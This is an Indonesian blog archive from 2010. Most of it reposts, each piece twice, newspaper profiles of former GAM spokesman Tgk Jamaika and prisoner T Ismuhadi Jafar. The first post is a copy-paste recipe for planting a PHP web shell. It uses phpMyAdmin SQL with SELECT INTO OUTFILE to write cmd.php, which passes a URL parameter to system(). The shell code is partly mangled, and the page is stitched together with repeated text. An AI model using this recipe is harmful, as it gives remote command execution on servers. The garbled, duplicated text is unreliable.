This summary is not available. Please
click here to view the post.
23 October, 2010
hmm lagi jalan2 di internet dapat script terbaru.so ..ya aku simpan lah di blog aku.:)
ini caranya buka phpmyadmin lalu login masuk ke SQL Query. gak perlu masuk database. langsung aja masuk SQL Query.
lalu copas yang di bawah ini :
selamat mencoba kawan
ini caranya buka phpmyadmin lalu login masuk ke SQL Query. gak perlu masuk database. langsung aja masuk SQL Query.
lalu copas yang di bawah ini :
lalu lihat melalui borwser misalnya http://localhost/cmd.php dan untuk cara eksekusi commannya http://localhost/cmd.php?cmd=[command yang mau di eksekusi]use
mysql;
DROP TABLE IF EXISTS `temptab`;
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values (
'
"; system($cmd); echo ""; exit; } ?>
'
);
SELECT * INTO OUTFILE
'C:/xampp/htdocs/cmd.php'
from temptab;
DROP TABLE temptab;
FLUSH
LOGS;
selamat mencoba kawan
22 October, 2010
Bacaan ini di ambil dari harian aceh
Di masa konflik, ia merupakan pria di balik suara Gerakan Aceh Merdeka (GAM) ke berbagai media. Ia menyusun release propaganda dari berbagai tempat. Di balik perang urat saraf di media itu, ia ingin mendirikan sekolah gratis untuk masyarakat. Setelah damai ia pun mewujudkannya.
Pria berpostur mungil ini lahir di Meurandeh Paya, Sampoiniet, Aceh Utara, 5 April 1977 silam. Mencerdaskan anak-anak korban konflik dan kurang mampu adalah perjuangan yang sesungguhnya bagi dia.
Meskipun pernah bergerilya dan berpindah-pindah dari satu hutan ke hutan lain, pria yang sering disapa Jamaika ini memandang perang harus dilupakan. Mewariskan dendam untuk generasi mendatang, justru merusak masa depan mereka.
Dengan bantuan fasilitas dari Badan Rehabilitasi dan Rekonstruksi (BRR) Aceh-Nias, Jamaika membuka sekolah komputer gratis untuk anak-anak korban konflik, korban tsunami dan anak-anak kurang mampu. Di sekolah berbasis masyarakat itu, mereka dipandu oleh beberapa tutor yang sudah mahir mempergunakan komputer. Ada 25 unit komputer yang tersambung internet tempat mereka merenda masa depan.
Tidak salah jika di kalangan GAM Tgk Jamaika diberi gelar komputer. Sekolah tersebut bisa jadi jawabannya, kenapa dirinya dipanggil dengan komputer. “Saya ingin agar anak-anak korban konflik mandiri, dan bisa berkembang,” katanya singkat.
Sejak damai bersemi di Aceh, aktivitas Jamaika tak lagi dihabiskan di depan komputer, mengirim rilis ke media dan membantah pernyataan petinggi TNI. Malah, Jamaika berharap tak lagi melakoni pekerjaan tersebut.
Dulu, saat Aceh dibalut konflik, pernyataannya saban hari dirilis media, baik lokal, nasional maupun internasional. Sebagai salah seorang juru bicara Tentara Neugara Aceh (TNA), sayap militer Gerakan Aceh Merdeka (GAM), Tgk Jamaika kerap menebar perang urat saraf di media. pernyataannya membuat petinggi militer di Jakarta berang.
Dalam salah satu babak perang urat saraf dengan Tentara Nasional Indonesia (TNI) Juru bicara GAM Wilayah Pase itu pun pernah dinyatakan meninggal. “Saya 'ditewaskan' oleh Panglima Komando Operasi (Pangkoop) TNI, Bambang Darmono,” kata Tgk Jamaika membantah. Bantahan itu dimuat di koran terbitan Jakarta tahun 2003 silam.
Bambang Darmono menduga Jamaluddin Kandang, seorang TNA yang tewas dalam sebuah pertempuran sebagai Tgk Jamaika, tokoh GAM yang termasuk paling dicari saat Darurat Militer (DM) diberlakukan di Aceh.
Saya yang berada di Jakarta, sempat kaget mendengar berita tewasnya Tgk Jamaika. Sebagai orang yang pernah akrab dengan Tgk Jamaika, saya tidak percaya pernyataan Bambang Darmono. Saya menganggap itu sebagai bagian perang urat saraf antara Tgk Jamaika dengan Pangkoop TNI tersebut.
Keraguan itu pula yang kemudian menggerakkan hati saya untuk menghubungi Jamaika melalui nomor hand phone (HP) yang pernah diberinya saat masih berada di Aceh. Keraguan saya berubah menjadi gembira, ketika mendengar suara di seberang, persis seperti suara Jamaika yang pernah saya kenal. “Saya baik-baik saja. Sekarang berada di tempat yang aman,” jawabnya mantap.
Selang beberapa bulan kemudian, saya bertemu langsung dengan Tgk Jamaika di Meunasah Aceh, Pasar Minggu, Jakarta Selatan. Kebetulan hari itu, ada acara doa bersama untuk almarhum ibu Tgk Nasruddin Abubakar, presidium Sentral Informasi Referendum Aceh (SIRA) yang sekarang menjabat Wakil Bupati Aceh Timur.
Tubuhnya lebih kurus dari biasanya. Penampilannya biasa saja. Wajahnya pucat. Hari itu, Tgk Jamaika seperti teman-teman yang lain ikut berdoa. Tak banyak bersuara. HP-nya sesekali berdering.
Selepas itu kami lebih sering bertemu.
SAYA mengenal Tgk Jamaika ketika berkunjung ke kantor SIRA. Pertama melihatnya, saya sama sekali tidak yakin bahwa orang yang saya lihat adalah Tgk Jamaika, juru bicara GAM yang setiap hari pernyataannya dikutip media.
Selepas itu, kami sudah sering berkomunikasi. Hubungan saya dengan Tgk Jamaika semakin akrab setelah saya tinggal di kantor Koalisi Gerakan mahasiswa dan pemuda Aceh Barat (Kagempar), di Lamprit, Kecamatan Kuta Alam, Kota Banda Aceh.
Saya melihat bagaimana setiap hari dia menghimpun data pelanggaran HAM di lapangan. Jam 4 sore, Tgk Jamaika sudah mengurung diri di kamar dan merekap semua laporan yang masuk untuk dikirim ke media.
Selepas Magrib, pernyataannya sudah difax dan dikirim ke berbagai media, baik lokal, nasional dan internasional. Anehnya, Tgk Jamaika sama sekali tidak menggunakan mesin fax, melainkan progam winfax yang sudah diinstall di laptop Sony VAIO miliknya. Untuk koneksi internet, Tgk Jamaika menggunakan HP.
Meskipun Tgk Jamaika melakukan pengiriman berita dari kantor Kagempar di Lamprit, hasil fax yang diterima oleh media berasal dari nomor fax markas besar GAM di Sweden. Jika saya tidak melihat langsung bagaimana dia mengirimkan pernyataannya, saya tidak percaya bahwa faks itu berasal dari kawasan Lamprit.
Tapi, Tgk Jamaika tetap misterius. Di kantor Kagempar, misalnya, tak banyak yang tahu bahwa dia adalah Tgk Jamaika. Di kalangan aktivis ia menggunakan nama Muhammad. Soal nama asli, Tgk Jamaika sama sekali tidak memberi tahu saya. Saya baru tahu nama asli dia ketika damai bersemi di Aceh pasca-MoU Helsinki, 15 Agustus 2005 lalu. Ternyata Dani, adalah nama panggilan dari nama panjangnya Syardani M. Syarif.
Saya bersama beberapa kawan pernah berkunjung ke markas besar GAM di Alue Dua, Nisam, Aceh Utara sekitar akhir Januari 2002. Di markas tersebut saya melihat ada beberapa unit komputer, laptop, dan printer. Markasnya benar-benar mirip sebuah kantor LSM di Banda Aceh. Ada ruang tamu, ruang meeting, ruang kerja, ruang tidur dan dapur. Di sekeliling markas tersebut, ada gubuk kecil yang dijaga 24 jam oleh pasukan GAM.
Di markas besar itu pula, saya pertama kali melihat Tgk Sofyan Dawood dan Tgk Muzakkir Manaf secara langsung. Sebelumnya, wajah kedua tokoh GAM yang berpengaruh ini hanya terpampang di media massa.
Saya pernah tersenyum kecil ketika melihat Tgk Sofyan Dawood bermain game race di laptop di kantor tersebut. “TNI capek mencari Sofyan Dawood, ternyata dia cuma main game balap di markas,” ucap saya dalam hati.
Semua komputer dan laptop di markas tersebut di bawah kontrol Tgk Jamaika. Foto-foto latihan, foto penyerangan TNI, foto kegiatan GAM semua tersimpan rapi di laptop dan komputer lewat tangan Tgk Jamaika.
Di kalangan GAM, menggunakan nama sandi adalah hal lumrah. Begitu juga dengan Tgk Jamaika. Dia menjadi orang ke sekian yang menggunakan nama sandi Jamaika. Masa kecil dihabiskannya di kampung, dan bersekolah di Sekolah Dasar (SD) Negeri Hagu Buwah, Baktiya, SMP Negeri Sampoiniet, Baktiya, SMA Negeri Baktiya, semuanya di Aceh Utara. Setamat dari SMA Baktiya, Syardani melanjutkan kuliah di Banda Aceh. Tetapi, katanya, dia hanya sempat kuliah sampai semester VII (tujuh), pada Jurusan Kimia Fakultas Keguruan dan Ilmu Pendidikan (FKIP) Universitas Syiah Kuala (UNSYIAH), Banda Aceh. Selepas itu non-aktif, sampai sekarang.
Tgk Jamaika non-aktif bukan karena tidak sanggup lagi membiayai kuliah, melainkan akibat membaca sebuah seruan GAM akhir tahun 1998. Setelah membaca seruan itu, cerita Jamaika, dirinya weueh hate (bersedih), bukan karena isi seruan tetapi cara membuat surat itu masih diketik dengan menggunakan mesin ketik biasa.
Sejak itu, hatinya tergerak untuk terlibat dalam perjuangan GAM. Abu Sayed Adnan, Gubernur GAM Pase yang kini almarhum tersebut berjasa di balik bergabungnya Syardani dalam barisan GAM. Oleh Abu Sayed, Syardani diserahi tugas bidang IT dan mengajari kombatan GAM menggunakan komputer terutama yang dipandang mampu mengutak-atik perangkat lunak tersebut.
Soal nama, katanya, membuat komunikasinya dengan para kombatan dan juga Abu Sayed jadi kendala. Pasalnya, jika butuh bantuannya, tak ada yang tahu memanggilnya dengan nama siapa. Karena saat itu dikenal pintar mengutak-atik komputer, Abu Sayed memutuskan memanggil namanya dengan sandi 'komputer'.
Setelah seminggu di markas GAM tersebut, saya kembali ke Banda Aceh, dan kuliah seperti biasa. Baru beberapa bulan kemudian saya mendengar lagi suara Tgk Jamaika. “NZ ditangkap!” katanya memberitahu tentang penangkapan Ketua Dewan Presidium Sentral Informasi Referendum Aceh (SIRA).
Malam itu merupakan malam lebaran haji, 12 Februari 2002. Tgk Jamaika menelepon langsung dari markasnya di Alue Dua, Nisam, Aceh Utara. Malam itu, saya, Muhammad MTA, dan Nasruddin Abubakar tidur di kantor SIRA di kawasan Peunayong. Saya yang mengangkat telepon. “Nyoe soe? (ini siapa),” tanya saya karena penasaran. “Nyoe lon Tgk Dani,” jawab suara di seberang.
Setelah itu saya baru tahu kalau yang menelepon adalah Tgk Jamaika. Saya hanya diam saja, karena bingung. Bagaimana mungkin Tgk Jamaika yang sedang berada di hutan Nisam tahu tentang penangkapan Ketua SIRA, sementara kami yang tidur di Kantor SIRA tidak mengetahuinya.
Tanpa komando, saya membangunkan MTA, dan Tgk Nasruddin. Semua kawan akhirnya dikontak satu per satu memberi tahu informasi yang disampaikan Tgk Jamaika. Telepon itulah kontak terakhir saya dengan Tgk Jamaika pada masa Cessation of Hostilities Agreement (CoHA) berlaku di Aceh. Dua bulan kemudian seluruh Aceh diberlakukan Darurat Militer, dan para aktivis harus mengungsi ke Jakarta, termasuk saya.
DI JAKARTA, kami pernah tinggal satu rumah dalam waktu yang cukup lama. Kami sama-sama tinggal di kantor Aceh Support Groups (ASG) lembaga advokasi Aceh yang didirikan oleh beberapa kawan aktivis dari SIRA, KARMA, CeSAR, dan lembaga lainnya.
Di kantor ASG, aktivitas Tgk Jamaika seperti di kantor Kagempar terulang kembali. Cara dan waktu kerja dia persis sama. Tgk Jamaika diberi tugas merekap semua laporan dari medan perang yang dikirim oleh juru bicara atau panglima-panglima GAM dari 17 wilayah teritorial GAM seluruh Aceh.
Biasanya, untuk wawancara dalam bahasa Inggris dengan media asing, Tgk Jamaika pasti sudah menyiapkan bahan atau pernyataan apa yang ingin disampaikan di laptop Sony VAIO miliknya. Wartawan yang ingin mewancarainya pasti diminta menelepon balik sekitar sepuluh sampai 15 menit kemudian. Waktu sepuluh menit itulah digunakannya untuk menyiapkan pernyataan, termasuk dalam bahasa Inggris. Para wartawan hanya hafal suaranya. Sementara wajahnya sama sekali tidak diketahui.
Jamaika benar-benar misterius. Saya sendiri juga sering memperhatikannya setiap kali melayani wawancara dari wartawan. Kepada mereka, Tgk Jamaika memberi tahu sedang berada di salah satu markas GAM di gunung. Saya jadi heran, bagaimana bisa Tgk Jamaika menyembunyikan tempat persembunyiaannya.
Karena penasaran, saya mencoba memperhatikan gerak-gerik dirinya. Lama juga saya harus menunggu momen, bagaimana siasat Tgk Jamaika menyembunyikan lokasi aslinya. Ternyata, setiap kali menerima telepon, Tgk Jamaika pasti masuk kamar.
Setelah mengangkat telepon, Tgk Jamaika tak langsung berbicara, tetapi membunyikan suara kicauan burung atau suara ombak laut dari Laptopnya yang selalu standby, layaknya di sebuah hutan belantara atau tepi pantai beberapa detik. Selepas itu baru berbicara.
Sering juga ketika sedang berbicara, tiba-tiba HP-nya diputusin. Ketika si wartawan menelepon balik, Tgk Jamaika mengaku di tempatnya sedang kehilangan sinyal, karena harus berpindah ada informasi TNI mendekati markas GAM.
“Pakon watee teungoh neupugah haba, tiba-tiba Hp sereng neupeumate (Kok sering kali ketika berbicara, tiba-tiba HP dimatiin?” tanya saya iseng.
“Kiban han tapeumate, wate teungoh ta telepon ka su Bajaj (Gimana nggak dimatiin, pas lagi saya ngomong tiba-tiba kedengaran suara Bajaj lewat?” jawabnya enteng. Soalnya, jika tetap melayani telepon, si wartawan pasti tahu bahwa Tgk Jamaika bukan di gunung, tetapi di Kota Jakarta atau di kawasan Pulau Jawa. Hal yang sama juga dilakukan setiap kali terdengar Adzan.
Kini banyak orang bertanya-tanya, ke mana dan apa pekerjaan Tgk Jamaika sekarang. Seperti halnya beberapa tokoh GAM lainnya, nama Tgk Jamaika seperti tenggelam ditelan bumi. Jarang sekali media mengekposenya sekarang. Jamaika sempat bekerja di BRR. Setelah habis masa tugas BRR di Aceh, tak ada yang tahu di mana pria berjuluk si komputer itu.
Suatu kali, melalui yahoo messenger, Jamaika mengaku sedang berada di Malaysia mengikuti kursus bahasa Inggris yang dibiayai Pemerintah Aceh. Ternyata, belakangan Jamaika sibuk sebagai anggota tim asistensi Gubernur di bidang transisi.(Taufik Al Mubarak)
Di masa konflik, ia merupakan pria di balik suara Gerakan Aceh Merdeka (GAM) ke berbagai media. Ia menyusun release propaganda dari berbagai tempat. Di balik perang urat saraf di media itu, ia ingin mendirikan sekolah gratis untuk masyarakat. Setelah damai ia pun mewujudkannya.
Pria berpostur mungil ini lahir di Meurandeh Paya, Sampoiniet, Aceh Utara, 5 April 1977 silam. Mencerdaskan anak-anak korban konflik dan kurang mampu adalah perjuangan yang sesungguhnya bagi dia.
Meskipun pernah bergerilya dan berpindah-pindah dari satu hutan ke hutan lain, pria yang sering disapa Jamaika ini memandang perang harus dilupakan. Mewariskan dendam untuk generasi mendatang, justru merusak masa depan mereka.
Dengan bantuan fasilitas dari Badan Rehabilitasi dan Rekonstruksi (BRR) Aceh-Nias, Jamaika membuka sekolah komputer gratis untuk anak-anak korban konflik, korban tsunami dan anak-anak kurang mampu. Di sekolah berbasis masyarakat itu, mereka dipandu oleh beberapa tutor yang sudah mahir mempergunakan komputer. Ada 25 unit komputer yang tersambung internet tempat mereka merenda masa depan.
Tidak salah jika di kalangan GAM Tgk Jamaika diberi gelar komputer. Sekolah tersebut bisa jadi jawabannya, kenapa dirinya dipanggil dengan komputer. “Saya ingin agar anak-anak korban konflik mandiri, dan bisa berkembang,” katanya singkat.
Sejak damai bersemi di Aceh, aktivitas Jamaika tak lagi dihabiskan di depan komputer, mengirim rilis ke media dan membantah pernyataan petinggi TNI. Malah, Jamaika berharap tak lagi melakoni pekerjaan tersebut.
Dulu, saat Aceh dibalut konflik, pernyataannya saban hari dirilis media, baik lokal, nasional maupun internasional. Sebagai salah seorang juru bicara Tentara Neugara Aceh (TNA), sayap militer Gerakan Aceh Merdeka (GAM), Tgk Jamaika kerap menebar perang urat saraf di media. pernyataannya membuat petinggi militer di Jakarta berang.
Dalam salah satu babak perang urat saraf dengan Tentara Nasional Indonesia (TNI) Juru bicara GAM Wilayah Pase itu pun pernah dinyatakan meninggal. “Saya 'ditewaskan' oleh Panglima Komando Operasi (Pangkoop) TNI, Bambang Darmono,” kata Tgk Jamaika membantah. Bantahan itu dimuat di koran terbitan Jakarta tahun 2003 silam.
Bambang Darmono menduga Jamaluddin Kandang, seorang TNA yang tewas dalam sebuah pertempuran sebagai Tgk Jamaika, tokoh GAM yang termasuk paling dicari saat Darurat Militer (DM) diberlakukan di Aceh.
Saya yang berada di Jakarta, sempat kaget mendengar berita tewasnya Tgk Jamaika. Sebagai orang yang pernah akrab dengan Tgk Jamaika, saya tidak percaya pernyataan Bambang Darmono. Saya menganggap itu sebagai bagian perang urat saraf antara Tgk Jamaika dengan Pangkoop TNI tersebut.
Keraguan itu pula yang kemudian menggerakkan hati saya untuk menghubungi Jamaika melalui nomor hand phone (HP) yang pernah diberinya saat masih berada di Aceh. Keraguan saya berubah menjadi gembira, ketika mendengar suara di seberang, persis seperti suara Jamaika yang pernah saya kenal. “Saya baik-baik saja. Sekarang berada di tempat yang aman,” jawabnya mantap.
Selang beberapa bulan kemudian, saya bertemu langsung dengan Tgk Jamaika di Meunasah Aceh, Pasar Minggu, Jakarta Selatan. Kebetulan hari itu, ada acara doa bersama untuk almarhum ibu Tgk Nasruddin Abubakar, presidium Sentral Informasi Referendum Aceh (SIRA) yang sekarang menjabat Wakil Bupati Aceh Timur.
Tubuhnya lebih kurus dari biasanya. Penampilannya biasa saja. Wajahnya pucat. Hari itu, Tgk Jamaika seperti teman-teman yang lain ikut berdoa. Tak banyak bersuara. HP-nya sesekali berdering.
Selepas itu kami lebih sering bertemu.
SAYA mengenal Tgk Jamaika ketika berkunjung ke kantor SIRA. Pertama melihatnya, saya sama sekali tidak yakin bahwa orang yang saya lihat adalah Tgk Jamaika, juru bicara GAM yang setiap hari pernyataannya dikutip media.
Selepas itu, kami sudah sering berkomunikasi. Hubungan saya dengan Tgk Jamaika semakin akrab setelah saya tinggal di kantor Koalisi Gerakan mahasiswa dan pemuda Aceh Barat (Kagempar), di Lamprit, Kecamatan Kuta Alam, Kota Banda Aceh.
Saya melihat bagaimana setiap hari dia menghimpun data pelanggaran HAM di lapangan. Jam 4 sore, Tgk Jamaika sudah mengurung diri di kamar dan merekap semua laporan yang masuk untuk dikirim ke media.
Selepas Magrib, pernyataannya sudah difax dan dikirim ke berbagai media, baik lokal, nasional dan internasional. Anehnya, Tgk Jamaika sama sekali tidak menggunakan mesin fax, melainkan progam winfax yang sudah diinstall di laptop Sony VAIO miliknya. Untuk koneksi internet, Tgk Jamaika menggunakan HP.
Meskipun Tgk Jamaika melakukan pengiriman berita dari kantor Kagempar di Lamprit, hasil fax yang diterima oleh media berasal dari nomor fax markas besar GAM di Sweden. Jika saya tidak melihat langsung bagaimana dia mengirimkan pernyataannya, saya tidak percaya bahwa faks itu berasal dari kawasan Lamprit.
Tapi, Tgk Jamaika tetap misterius. Di kantor Kagempar, misalnya, tak banyak yang tahu bahwa dia adalah Tgk Jamaika. Di kalangan aktivis ia menggunakan nama Muhammad. Soal nama asli, Tgk Jamaika sama sekali tidak memberi tahu saya. Saya baru tahu nama asli dia ketika damai bersemi di Aceh pasca-MoU Helsinki, 15 Agustus 2005 lalu. Ternyata Dani, adalah nama panggilan dari nama panjangnya Syardani M. Syarif.
Saya bersama beberapa kawan pernah berkunjung ke markas besar GAM di Alue Dua, Nisam, Aceh Utara sekitar akhir Januari 2002. Di markas tersebut saya melihat ada beberapa unit komputer, laptop, dan printer. Markasnya benar-benar mirip sebuah kantor LSM di Banda Aceh. Ada ruang tamu, ruang meeting, ruang kerja, ruang tidur dan dapur. Di sekeliling markas tersebut, ada gubuk kecil yang dijaga 24 jam oleh pasukan GAM.
Di markas besar itu pula, saya pertama kali melihat Tgk Sofyan Dawood dan Tgk Muzakkir Manaf secara langsung. Sebelumnya, wajah kedua tokoh GAM yang berpengaruh ini hanya terpampang di media massa.
Saya pernah tersenyum kecil ketika melihat Tgk Sofyan Dawood bermain game race di laptop di kantor tersebut. “TNI capek mencari Sofyan Dawood, ternyata dia cuma main game balap di markas,” ucap saya dalam hati.
Semua komputer dan laptop di markas tersebut di bawah kontrol Tgk Jamaika. Foto-foto latihan, foto penyerangan TNI, foto kegiatan GAM semua tersimpan rapi di laptop dan komputer lewat tangan Tgk Jamaika.
Di kalangan GAM, menggunakan nama sandi adalah hal lumrah. Begitu juga dengan Tgk Jamaika. Dia menjadi orang ke sekian yang menggunakan nama sandi Jamaika. Masa kecil dihabiskannya di kampung, dan bersekolah di Sekolah Dasar (SD) Negeri Hagu Buwah, Baktiya, SMP Negeri Sampoiniet, Baktiya, SMA Negeri Baktiya, semuanya di Aceh Utara. Setamat dari SMA Baktiya, Syardani melanjutkan kuliah di Banda Aceh. Tetapi, katanya, dia hanya sempat kuliah sampai semester VII (tujuh), pada Jurusan Kimia Fakultas Keguruan dan Ilmu Pendidikan (FKIP) Universitas Syiah Kuala (UNSYIAH), Banda Aceh. Selepas itu non-aktif, sampai sekarang.
Tgk Jamaika non-aktif bukan karena tidak sanggup lagi membiayai kuliah, melainkan akibat membaca sebuah seruan GAM akhir tahun 1998. Setelah membaca seruan itu, cerita Jamaika, dirinya weueh hate (bersedih), bukan karena isi seruan tetapi cara membuat surat itu masih diketik dengan menggunakan mesin ketik biasa.
Sejak itu, hatinya tergerak untuk terlibat dalam perjuangan GAM. Abu Sayed Adnan, Gubernur GAM Pase yang kini almarhum tersebut berjasa di balik bergabungnya Syardani dalam barisan GAM. Oleh Abu Sayed, Syardani diserahi tugas bidang IT dan mengajari kombatan GAM menggunakan komputer terutama yang dipandang mampu mengutak-atik perangkat lunak tersebut.
Soal nama, katanya, membuat komunikasinya dengan para kombatan dan juga Abu Sayed jadi kendala. Pasalnya, jika butuh bantuannya, tak ada yang tahu memanggilnya dengan nama siapa. Karena saat itu dikenal pintar mengutak-atik komputer, Abu Sayed memutuskan memanggil namanya dengan sandi 'komputer'.
Setelah seminggu di markas GAM tersebut, saya kembali ke Banda Aceh, dan kuliah seperti biasa. Baru beberapa bulan kemudian saya mendengar lagi suara Tgk Jamaika. “NZ ditangkap!” katanya memberitahu tentang penangkapan Ketua Dewan Presidium Sentral Informasi Referendum Aceh (SIRA).
Malam itu merupakan malam lebaran haji, 12 Februari 2002. Tgk Jamaika menelepon langsung dari markasnya di Alue Dua, Nisam, Aceh Utara. Malam itu, saya, Muhammad MTA, dan Nasruddin Abubakar tidur di kantor SIRA di kawasan Peunayong. Saya yang mengangkat telepon. “Nyoe soe? (ini siapa),” tanya saya karena penasaran. “Nyoe lon Tgk Dani,” jawab suara di seberang.
Setelah itu saya baru tahu kalau yang menelepon adalah Tgk Jamaika. Saya hanya diam saja, karena bingung. Bagaimana mungkin Tgk Jamaika yang sedang berada di hutan Nisam tahu tentang penangkapan Ketua SIRA, sementara kami yang tidur di Kantor SIRA tidak mengetahuinya.
Tanpa komando, saya membangunkan MTA, dan Tgk Nasruddin. Semua kawan akhirnya dikontak satu per satu memberi tahu informasi yang disampaikan Tgk Jamaika. Telepon itulah kontak terakhir saya dengan Tgk Jamaika pada masa Cessation of Hostilities Agreement (CoHA) berlaku di Aceh. Dua bulan kemudian seluruh Aceh diberlakukan Darurat Militer, dan para aktivis harus mengungsi ke Jakarta, termasuk saya.
DI JAKARTA, kami pernah tinggal satu rumah dalam waktu yang cukup lama. Kami sama-sama tinggal di kantor Aceh Support Groups (ASG) lembaga advokasi Aceh yang didirikan oleh beberapa kawan aktivis dari SIRA, KARMA, CeSAR, dan lembaga lainnya.
Di kantor ASG, aktivitas Tgk Jamaika seperti di kantor Kagempar terulang kembali. Cara dan waktu kerja dia persis sama. Tgk Jamaika diberi tugas merekap semua laporan dari medan perang yang dikirim oleh juru bicara atau panglima-panglima GAM dari 17 wilayah teritorial GAM seluruh Aceh.
Biasanya, untuk wawancara dalam bahasa Inggris dengan media asing, Tgk Jamaika pasti sudah menyiapkan bahan atau pernyataan apa yang ingin disampaikan di laptop Sony VAIO miliknya. Wartawan yang ingin mewancarainya pasti diminta menelepon balik sekitar sepuluh sampai 15 menit kemudian. Waktu sepuluh menit itulah digunakannya untuk menyiapkan pernyataan, termasuk dalam bahasa Inggris. Para wartawan hanya hafal suaranya. Sementara wajahnya sama sekali tidak diketahui.
Jamaika benar-benar misterius. Saya sendiri juga sering memperhatikannya setiap kali melayani wawancara dari wartawan. Kepada mereka, Tgk Jamaika memberi tahu sedang berada di salah satu markas GAM di gunung. Saya jadi heran, bagaimana bisa Tgk Jamaika menyembunyikan tempat persembunyiaannya.
Karena penasaran, saya mencoba memperhatikan gerak-gerik dirinya. Lama juga saya harus menunggu momen, bagaimana siasat Tgk Jamaika menyembunyikan lokasi aslinya. Ternyata, setiap kali menerima telepon, Tgk Jamaika pasti masuk kamar.
Setelah mengangkat telepon, Tgk Jamaika tak langsung berbicara, tetapi membunyikan suara kicauan burung atau suara ombak laut dari Laptopnya yang selalu standby, layaknya di sebuah hutan belantara atau tepi pantai beberapa detik. Selepas itu baru berbicara.
Sering juga ketika sedang berbicara, tiba-tiba HP-nya diputusin. Ketika si wartawan menelepon balik, Tgk Jamaika mengaku di tempatnya sedang kehilangan sinyal, karena harus berpindah ada informasi TNI mendekati markas GAM.
“Pakon watee teungoh neupugah haba, tiba-tiba Hp sereng neupeumate (Kok sering kali ketika berbicara, tiba-tiba HP dimatiin?” tanya saya iseng.
“Kiban han tapeumate, wate teungoh ta telepon ka su Bajaj (Gimana nggak dimatiin, pas lagi saya ngomong tiba-tiba kedengaran suara Bajaj lewat?” jawabnya enteng. Soalnya, jika tetap melayani telepon, si wartawan pasti tahu bahwa Tgk Jamaika bukan di gunung, tetapi di Kota Jakarta atau di kawasan Pulau Jawa. Hal yang sama juga dilakukan setiap kali terdengar Adzan.
Kini banyak orang bertanya-tanya, ke mana dan apa pekerjaan Tgk Jamaika sekarang. Seperti halnya beberapa tokoh GAM lainnya, nama Tgk Jamaika seperti tenggelam ditelan bumi. Jarang sekali media mengekposenya sekarang. Jamaika sempat bekerja di BRR. Setelah habis masa tugas BRR di Aceh, tak ada yang tahu di mana pria berjuluk si komputer itu.
Suatu kali, melalui yahoo messenger, Jamaika mengaku sedang berada di Malaysia mengikuti kursus bahasa Inggris yang dibiayai Pemerintah Aceh. Ternyata, belakangan Jamaika sibuk sebagai anggota tim asistensi Gubernur di bidang transisi.(Taufik Al Mubarak)
Bacaan ini di ambil dari harian aceh
“Kabar duka adalah berita terbaik” Begitu ucapan tokoh antagonis dalam film James Bond memicu perang antara China dengan Inggris. Kalau diperhatikan zaman ini, kalimat dalam film itu ada benarnya. Namun tidak semua kabar duka itu menjadi berita terbaik. Kadang berita duka menjadi berita buruk. Karena duka itu tak pernah bisa tersenyum.
Ada seorang anak Aceh kini sedang meringkuk di kurungan Cipinang. Namanya T Ismuhadi Jafar. Kami tak bisa mengeluarkannya dari penjara ataupun memindahkan ia ke Aceh. Hanya dengan menurunkan jeritan hatinya dari balik jeruji baja, kami harap, sedikit membantunya karena ada yang dapt merasakan penderitaannya. Ia telah berbagi.
“Kabar duka adalah berita terbaik” Begitu ucapan tokoh antagonis dalam film James Bond memicu perang antara China dengan Inggris. Kalau diperhatikan zaman ini, kalimat dalam film itu ada benarnya. Namun tidak semua kabar duka itu menjadi berita terbaik. Kadang berita duka menjadi berita buruk. Karena duka itu tak pernah bisa tersenyum.
Ada seorang anak Aceh kini sedang meringkuk di kurungan Cipinang. Namanya T Ismuhadi Jafar. Kami tak bisa mengeluarkannya dari penjara ataupun memindahkan ia ke Aceh. Hanya dengan menurunkan jeritan hatinya dari balik jeruji baja, kami harap, sedikit membantunya karena ada yang dapt merasakan penderitaannya. Ia telah berbagi.
Selama ini kita membaca tentangnya di berbagai media cetak. Kini kita baca lagi di halaman ini.
Kisah ini adalah kirimannya melalui surat elektronik ke ruang redaksi Harian Aceh. Dia mengaku, warisan darah pejuang telah mengantarnya ke Penjara. Ia turunan ke 6 Teuku Nyak Hamzah di Peusangan dari garis ayah, dan cucu Tgk. Hasan Ibrahim yang lebih dikenal dengan Nyak Hasan Kodak di Krueng Baroe dari garis ibu.
Ia lahir pada 29 Januari 1969 di Kr. Baroe. Usia 4 tahun, ia dibawa orangtuanya merantau ke Timbangan Gajah Dua. 3 tahun kemudian, ia pindah ke Lampahan Aceh Tengah. Pada masa-masa Operasi Gaya Baru, bunyi sepatu lars tentara hampir setiap malam mengganggu tidurnya. Kerap sedang bermain di belakang rumah di pagi hari, Ismuhadi kecil menyaksikan orang-orang hasil tangkapan operasi yang diseret, tubuh mereka penuh luka dan darah bekas tembakan yang belum mongering.
Ismuhadi kecil bertanya pada ibunda, kenapa mereka diperlakukan seperti itu, apa salah mereka. Dengan sigap sang bunda menutup mulut Ismuhadi dengan jari telunjuk. “Syuuut...jangan tanya begitu nak, didengar tentara bahaya, kita bisa ditangkap.” Engga puas dengan jawaban ibunda, Ismuhadi kecil menguping pembicaraan org-orang dewasa di sekitar rumah.
Ternyata hasil buruan tentara tadi pagi, adalah pengikut setia Tgk. Ilyas Leubee. Ismuhadi telah merekam dalam ingatannya, begitu banyak menyaksikan ibu-ibu menangis karena kehilangan suami atau anak laki-lakinya, dibawa tentara lalu tak pernah kembali.
Th 1985, ketika masih duduk di bangku SMP Negeri 1 Matang Geulumpang Dua, ia berkawan karib dengan Iswadi Jamil. Ia pun terinspirasi dengan perjuangan rakyat Aceh. Lalu bersama Iswadi Jamil, ia ikut mendaftar diri pada perekrutan tentara AM (saat itu bkn GAM) yang akan dikirim untuk belajar ke Libya. Malam pemberangkatan, Ismuhadi dan Iswadi telah kabur dari rumah dan sembunyi di belakang Mesjid Balee Kiro, Peusangan. Namun malang, meski telah melobi Tgk.Nasruddin bin Ahmed, tetap saja Ismuhadi dan Iswadi gagal berangkat karena faktor usia yang terlalu muda pada masa itu. Sebagai ganti ke Libya, ia sekolah lagi dan diterima di SMA Negeri 1 Cot Gapue Bireuen.
